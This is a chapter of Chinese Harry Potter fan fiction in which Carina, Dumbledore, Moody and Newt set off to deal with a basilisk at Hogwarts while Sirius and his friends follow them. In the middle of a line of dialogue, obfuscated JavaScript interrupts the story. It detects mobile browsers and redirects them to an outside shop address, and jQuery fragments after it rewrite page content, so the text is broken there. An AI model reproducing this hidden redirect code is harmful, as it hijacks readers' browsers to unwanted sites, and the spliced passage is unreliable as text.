卡莉娜爬下纽特敞开的箱子，看到一群护树罗锅从她面前列队离开。


    “你现在吃得太多。”她沿着纽特遥远的声音走到一片空地上，这里绿草如茵，但隐隐飘荡着一股酒味。


    “我只能给你再喝一桶白兰地加鸡血，”她听到纽特耐心地说，“拉维德，你不是小龙了，知道吗？”


    那只乌克兰铁肚皮的鳞片被纽特维护得发亮——虽然依然有些苍白，但显得相当牢固。它的眼睛也变得清澈许多，带着浅淡的粉色。见到有生人靠近，它开始蠢蠢欲动，鼻孔里冒出小小的火星子。


    “哦，不，不，拉维德——”纽特提起那桶白兰地，而卡莉娜迅速溜到这个场地的角落，和邓布利多教授以及穆迪站在一块儿。


    “它可不是什么人畜无害的小龙。”穆迪绷着脸说，“为了把它弄进箱子，我差点失去我的鼻子。”


    “它不会在纽特的箱子里待太久，”邓布利多教授愉快地说，“等它的情况稳定下来，就要被送到乌干达的火龙保护区。”


    “一个纽特声称自己在的地方。”卡莉娜忍俊不禁。


    “哦，他本该在那里。”邓布利多教授努了努嘴，“我想他把蒂娜抛在乌干达自己跑回来了——而且用了非法的门钥匙。”


    “偷渡。”穆迪咂咂嘴，“我不管这个。”


    “真的吗？”卡莉娜问，“我还以为这属于你们的业务范围。”


    “不属于傲罗办公室主任的工作范围。”穆迪挥挥手，“新手们总是做这个——我还有更多烦心事。”


    邓布利多教授眼尾有细细的笑纹。


    “所以斯卡曼德先生还要在这里待一阵子？”卡莉娜若有所思地说。


    “我想是这样。”邓布利多教授和蔼地说，“如果有什么需要他帮忙的，可以征求他的意见。就我所知，吕西安从纽特那里拿到不少材料。”


    “这倒是提醒我了，”卡莉娜惊喜地说，“虽然显得厚脸皮，但不失为一种思路。但我要说的是另外一件事，教授。”


    “什么事？”邓布利多教授问。


    “喔，”卡莉娜看着纽特安抚火龙的背影，“我想了解一下斯卡曼德先生会不会收治一条蛇怪。”


    “蛇怪？”穆迪正打开他的酒壶盖子，“在哪？”


    “蛇怪……”邓布利多教授沉思着，好像想起什么久远的事情，“是的，这解释了很多问题。”


    “霍格沃茨。”卡莉娜回答道。


    穆迪差点把手里的酒壶盖子甩出去。


    “我们明天就出发。”他的脸色变得非常难看，“我想这属于傲罗办公室主任的工作范围，蛇怪在霍格沃茨——可能造成学生死亡，阿不思。”


    “事实上，”邓布利多教授的面色也显得相当陈凝，“它已经造成了一名学生的死亡，阿芒多因此引咎辞职。”


    “是她。”穆迪脸上呈现出一种恍然大悟的神情，“桃金娘·沃伦。很早以前的事，但因为发生在霍格沃茨，非常轰动，非常。”


    “海格被指控纵容野兽伤人。”邓布利多教授说，“至少他现在可以被洗清伤人的罪名，重新使用魔杖。”


    “即使只剩下纵容野兽的问题，”穆迪不以为然地说，“他也依旧要被开除。八眼巨蛛！他就喜欢这些危险的东西。”


    “顺带一提，”卡莉娜说，“海格为他的八眼巨蛛找了一位妻子，它们现在是禁林里相亲相爱的一家人。”


    “阿不思！”穆迪瞪着邓布利多教授，“你对这件事知情吗？”


    “喔，”邓布利多教授出神地看着自己的手指，“我想那片林子被叫做禁林是有原因的。”


    “它不能变得更加危险。”穆迪嘟哝着说，“淘气的小鬼头会闯进禁林，这是众所周知的事实。”


    拉维德陷入了沉睡。


    纽特慈爱地看着它，然后转身朝他们几个走来。


    “六吨重的火龙，”穆迪粗声说，“六吨重。”


    “哦，它受了很多伤，”纽特示意他们轻声些，“需要更多休息。”


    “我也需要更多休息。”穆迪指指自己脸上的疤，“但我却不能。”


    纽特脸上带着相当可爱的笑容。


    “就在我们站在这里闲聊的时候，”邓布利多教授轻轻推了推自己的眼镜，“我们又需要拜托你一件事，纽特。”


    “又？”纽特警惕地说。


    “牵涉到一条蛇怪。”邓布利多教授气定神闲地说，“如果消息可靠，它可能活了上千年。”


    “蛇怪？”纽特的眼睛闪闪发光，“我们什么时候出发？”


    “明天。”穆迪对着酒壶喝了一口，“没有休息。”


    卡莉娜举起手。


    “怎么了，卡莉娜？”邓布利多教授温和地问。


    “需要用蛇佬腔打开密室。”卡莉娜诚恳地说，“有任何人会说蛇语吗？”


    “据我所知，”邓布利多教授说，“没有。”


    “我可以带条蛇。”纽特瞪大眼睛，问道，“你们觉得怎么样？”


    “非常好。”穆迪说。


    “那我带只公鸡？”卡莉娜问，“还是我们在海格的鸡舍里抓一只？”


    “从海格的鸡舍里抓一只。”穆迪一锤定音，“他会愿意借给我们的。”


    “或者直接端上餐桌。”卡莉娜补充道。


    “也不错。”穆迪满意地说。


    ————


    “感觉不错。”卡莉娜走在城堡的走廊上，手里抱着一只公鸡，“回到霍格沃茨。”


    “很高兴你这么说。”邓布利多教授说，肩膀上停着福克斯，“往这边走，我们可以抄近道……”


    “希望你把厕所封住了，”穆迪说，“我不想让人看见我们走进女厕所。”


    “看在梅林的份上！”纽特对身上缠着的一条鸟蛇说，“可以变小些吗，劳拉，我要呼吸不过来了——”


    劳拉试图窜出来攻击旁边的人。


    “看在你自己的份上！”纽特一把把它抓住，“你还是条宝宝！”


    穆迪撇了撇嘴。


    “卡莉娜，是你吗？”一个熟悉的声音问，“梅林，你怎么回来了？”


    “西里斯！”卡莉娜惊喜地说，“我应该想到，你们总是藏在城堡的密道里，准备吓别人一大跳。”


    “你们在这儿干什么？”西里斯从挂毯后走出来，用奇怪的眼神上下打量着他们，“开动物园？”


    “用公鸡？”卡莉娜不屑地说，“那一定是世界上最糟糕的动物园。”


    “那你们到底在干什么？”西里斯狐疑地说，“和邓布利多教授还有……那是穆迪吗？那个傲罗？”


    “尽情猜测。”卡莉娜温柔地拍拍他的肩膀，“你最擅长的事，亲爱的（dear）。”


    “哦，别这么叫我。”西里斯皱着脸说，“总是让我想起迪尔伯恩，那个见鬼的家伙。”


    “好吧，”卡莉娜愉快地说，“祝你度过愉快的一天，珍惜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748592|185562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    作为学生的时光，亲爱的（darling）。”


    “大脚板！”西里斯不满地说。


    “好吧，大脚板。”卡莉娜说，和邓布利多教授他们一块儿离开。


    “你觉得他们要往哪里去？”西里斯抱着双臂，懒洋洋地问自己身后的挂毯。


    “看方向，”詹姆从挂毯后探出一个头，“桃金娘的盥洗室——见鬼。”


    “邓布利多教授、傲罗穆迪、卡莉娜和一个不认识的老人在桃金娘的盥洗室？”西里斯说道，“……见鬼。”


    “莱姆斯，猜猜他们要干什么。”西里斯把脑袋探进挂毯，问。


    “开动物园。”莱姆斯回复他。


    “不管他们在干什么，”一个女声从挂毯后面传出来，“那都不关你们的事，男孩们。”


    “喔，”西里斯高高兴兴地说，“我们还指望着你能替我们打探打探，莉莉。”


    “如果他们愿意告诉我们，”詹姆扁扁嘴，“他们会说的——但我敢和你打赌，西里斯。”


    “赌什么？”西里斯饶有兴趣地问。


    “你姐姐和凤凰社有关系。”詹姆说，“赌一加隆。”


    “我的脑子难道不会转吗？”西里斯撞了撞詹姆的肩膀，“她和邓布利多教授走在一起，开开心心的，没有被傲罗逮捕——这很明显。”


    “喔，”詹姆耸耸肩，“痛失一加隆。”


    “滚。”西里斯说，掀开挂毯，“往里靠靠——我的意思是，往里走，先生们女士们！”


    里面的几个人迅速蠕动起来，慢慢往前进。


    “以前没觉得这么挤。”能听到詹姆勉强的声音。


    “看在梅林的份上！”莉莉说，“你们至少膨胀了两倍——比一年级的时候！”


    “说的对，莉莉。”詹姆赶紧说。


    “不要因为我允许你称呼我的名字，就每说一句话重复一次！”莉莉很大声地说。


    “好的，莉莉。”詹姆紧张地说。


    “往前走！”莉莉闷闷地说，“在你说出更奇怪的话之前，闭上嘴吧，詹姆斯！”


    “你在不好意思吗，莉莉？”詹姆问。


    “是的，是的！”莉莉喊道，“别问了！”


    卡莉娜发现邓布利多教授脸上带着微笑。


    “青年人的美好爱情。”她打趣道，“听起来很不错。”


    “哦，是的。”邓布利多教授透过眼镜看了看她，“毕竟我们只年轻过一次。”


    “那就没什么好后悔的了，教授。”卡莉娜温柔地说，“毕竟我们只年轻过一次——我们该怎么知道自己做了正确的选择呢？”


    “我猜你说的是对的，卡莉娜。”邓布利多教授眨了眨眼睛。


    “谁先进去？”站在盥洗室门口，穆迪问。


    “我先。”卡莉娜轻快地说，“我和桃金娘有些交情。”


    “为什么？”纽特好奇地问，“我记得她不太喜欢和人聊天。”


    “主要是因为我弟弟。”卡莉娜回答道，“你刚刚见过他。”


    “因为他长得帅气？”纽特猜测道。


    “不，”卡莉娜说，“因为他喜欢搞恶作剧。”


    纽特看向邓布利多教授，邓布利多教授湛蓝色的眼睛流露出一种有趣的神情。


    “我殿后。”穆迪举起魔杖。


    “跟在您身后，教授。”纽特对邓布利多教授说。


    “跟着我，先生们。”邓布利多教授笑呵呵地说。